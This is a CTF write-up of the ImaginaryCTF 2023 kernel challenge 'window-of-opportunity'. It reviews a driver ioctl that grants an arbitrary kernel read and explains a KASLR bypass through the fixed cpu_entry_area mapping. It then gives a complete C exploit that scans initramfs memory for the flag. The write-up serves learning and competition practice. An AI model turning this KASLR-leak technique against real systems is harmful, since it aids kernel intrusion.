[ImaginaryCTF 2023 - pwn] window-of-opportunity

989 words

window-of-opportunity

window-of-opportunity (490 pts) - 11 solves
by Eth007

Description: Sometimes, there is a glimmer of hope, a spark of inspiration, a window of opportunity.

Attachments
https://imaginaryctf.org/r/izYM0#opportunity_dist.zip

nc window-of-opportunity.chal.imaginaryctf.org 1337

window-of-opportunity is a kernel exploitation challenge I did for the ImaginaryCTF 2023. We are given an arbitrary read primitive (and a stack buffer overflow but I didn’t use it), and the goal is basically to read the /flag.txt file. All the related files can be found there.

>...<

TLDR:

  • Leaking with the help of the arbitrary read primitive the kernel base address by reading a pointer toward the .text stored within the fix-mapped cpu_entry_area mapping.
  • Using the read primitive to read the whole kernel memory to get the flag given the initramfs is mapped in clear right after the kernel at a fixed offset.
  • PROFIT

Code review

We are given a classic initramfs setup for this kernel challenge, which means we already know the whole initramfs will be mapped in memory right after the kernel at a fixed offset.

Let’s take at the ioctl provided by the kernel driver we have to pwn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* !! This is not the actual decompiled code, I rewrote it to make it easier to read */

__int64 __fastcall device_ioctl(file *filp, __int64 cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
__int64 v4; // rdx
__int64 v5; // rbx
__int64 result; // rax
request req; // [rsp+0h] [rbp-120h] BYREF
unsigned __int64 v8; // [rsp+108h] [rbp-18h]
__int64 v9; // [rsp+118h] [rbp-8h]

_fentry__(filp, cmd, arg);
v9 = v3;
v8 = __readgsqword(0x28u);
if ( (_DWORD)cmd == 0x1337 )
{
copy_from_user(&req, arg, 0x108LL);
result = (int)copy_to_user(arg.buf, req.ptr, 0x100LL);
}
else
{
result = -1LL;
}
if ( v8 != __readgsqword(0x28u) )
JUMPOUT(0xC3LL);
return result;
}

The structure used to exchange with the kernel driver looks like this:

1
2
3
4
typedef struct request_s {
uint64_t kptr;
uint8_t buf[256];
} request_t;

Which means we have a very powerful arbitrary read primitive.

Exploitation

To compile the exploit and pack the fs I used this quick and dirty command if you mind:

1
musl-gcc src/exploit.c -static -o initramfs/exploit && cd initramfs && find . -print0 | cpio --null -ov --format=newc > ../initramfs.cpio && cd .. && ./run.sh initramfs.cpio

First let’s take a look at the protection layout by using the kchecksec developped by @bata24 in his awesome fork of gef.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
gef> kchecksec
------------------------------------------------------------------ Kernel information ------------------------------------------------------------------
Kernel version : 5.19.0
Kernel cmdline : console=ttyS0 oops=panic panic=1 kpti=1 kaslr quiet
Kernel base (heuristic) : 0xffffffff9b600000
Kernel base (_stext from kallsyms) : 0xffffffff9b600000
------------------------------------------------------------------- Register settings -------------------------------------------------------------------
Write Protection (CR0 bit 16) : Enabled
PAE (CR4 bit 5) : Enabled (NX is supported)
SMEP (CR4 bit 20) : Enabled
SMAP (CR4 bit 21) : Enabled
CET (CR4 bit 23) : Disabled
-------------------------------------------------------------------- Memory settings --------------------------------------------------------------------
CONFIG_RANDOMIZE_BASE (KASLR) : Enabled
CONFIG_FG_KASLR (FGKASLR) : Unsupported
CONFIG_PAGE_TABLE_ISOLATION (KPTI) : Enabled
RWX kernel page : Not found
----------------------------------------------------------------------- Allocator -----------------------------------------------------------------------
Allocator : SLUB
CONFIG_SLAB_FREELIST_HARDENED : Enabled (offsetof(kmem_cache, random): 0xb8)
-------------------------------------------------------------------- Security Module --------------------------------------------------------------------
SELinux : Disabled (selinux_init: Found, selinux_state: Not initialized)
SMACK : Disabled (smack_init: Found, smackfs: Not mounted)
AppArmor : Enabled (apparmor_init: Found, apparmor_initialized: 1, apparmor_enabled: 1)
TOMOYO : Disabled (tomoyo_init: Found, tomoyo_enabled: 0)
Yama (ptrace_scope) : Enabled (yama_init: Found, kernel.yama.ptrace_scope: 1)
Integrity : Supported (integrity_iintcache_init: Found)
LoadPin : Unsupported (loadpin_init: Not found)
SafeSetID : Supported (safesetid_security_init: Found)
Lockdown : Supported (lockdown_lsm_init: Found)
BPF : Supported (bpf_lsm_init: Found)
Landlock : Supported (landlock_init: Found)
Linux Kernel Runtime Guard (LKRG) : Disabled (Not loaded)
----------------------------------------------------------------- Dangerous system call -----------------------------------------------------------------
vm.unprivileged_userfaultfd : Disabled (vm.unprivileged_userfaultfd: 0)
kernel.unprivileged_bpf_disabled : Enabled (kernel.unprivileged_bpf_disabled: 2)
kernel.kexec_load_disabled : Disabled (kernel.kexec_load_disabled: 0)
------------------------------------------------------------------------- Other -------------------------------------------------------------------------
CONFIG_KALLSYMS_ALL : Enabled
CONFIG_RANDSTRUCT : Disabled
CONFIG_STATIC_USERMODEHELPER : Disabled (modprobe_path: RW-)
CONFIG_STACKPROTECTOR : Enabled (offsetof(task_struct, stack_canary): 0x9c8)
KADR (kallsyms) : Enabled (kernel.kptr_restrict: 2, kernel.perf_event_paranoid: 2)
KADR (dmesg) : Enabled (kernel.dmesg_restrict: 1)
vm.mmap_min_addr : 0x10000

What matters for us is mainly the KASLR that is on. Then, the first step will be to defeat it.

Defeat kASLR

To defeat kASLR we could use the trick already use a while ago by the hxp team in one of their kernel shellcoding challenge. The idea would be to read through the cpu_entry_area fix-mapped area, that is not rebased by the kASLR, a pointer toward the kernel .text. Then giving us a powerful infoleak thats allows us to find for example the address of the initramfs. I just had to search a few minutes the right pointer in gdb and that’s it, at 0xfffffe0000002f50 is stored a pointer toward KERNEL_BASE + 0x1000b59! Which gives:

1
2
3
4
5
6
7
req.kptr = 0xfffffe0000002f50; 
if (ioctl(fd, 0x1337, &req)) {
return -1;
}

kernel_text = ((uint64_t* )req.buf)[0] - 0x1000b59;
printf("[!] kernel .text found at %lx\n", kernel_text);

initramfs for the win

The initramfs is mapped right after the kernel, from kbase + 0x2c3b000, which means given we leaked the .text, we can deduce by it the address of the initramfs and then we can simply look for the icft pattern while reading the whole initramfs. Which gives:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("[!] initramfs at %lx\n", kernel_text + 0x2c3b000);

while (1) {
req.kptr = kernel_text + 0x2c00000 + offt;
if (ioctl(fd, 0x1337, &req)) {
return -1;
}

for (size_t i = 0; i < 0x100; i += 4) {
if (!memcmp(req.buf+i, "ictf", 4)) {
printf("flag: %s\n", (char* )(req.buf+i));
}
}

offt += 0x100;
}

PROFIT

Finally here we are:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mount: mounting host0 on /tmp/mount failed: No such device
cp: can't stat '/dev/sda': No such file or directory

Boot time: 2.78

---------------------------------------------------------------
_
| |
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/_
\_/\_/ \___|_|\___\___/|_| |_| |_|\___(_)

Take the opportunity. Look through the window. Get the flag.
---------------------------------------------------------------
/ # ./exploit
[!] kernel .text found at ffffffff8de00000
[!] initramfs at ffffffff90a3b000
flag: ictf{th3_real_flag_was_the_f4ke_st4ck_canaries_we_met_al0ng_the_way}

Annexes

Final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

typedef struct request_s {
uint64_t kptr;
uint8_t buf[256];
} request_t;

int main()
{
request_t req = {0};
uint64_t kernel_text = 0;
uint64_t offt = 0;

int fd = open("/dev/window", O_RDWR);
if (fd < 0) {
return -1;
}

req.kptr = 0xfffffe0000002f50;
if (ioctl(fd, 0x1337, &req)) {
return -1;
}

kernel_text = ((uint64_t* )req.buf)[0] - 0x1000b59;
printf("[!] kernel .text found at %lx\n", kernel_text);
printf("[!] initramfs at %lx\n", kernel_text + 0x2c3b000);

while (1) {
req.kptr = kernel_text + 0x2c00000 + offt;
if (ioctl(fd, 0x1337, &req)) {
return -1;
}

for (size_t i = 0; i < 0x100; i += 4) {
if (!memcmp(req.buf+i, "ictf", 4)) {
printf("flag: %s\n", (char* )(req.buf+i));
}
}

offt += 0x100;
}

close(fd);
return 0;
}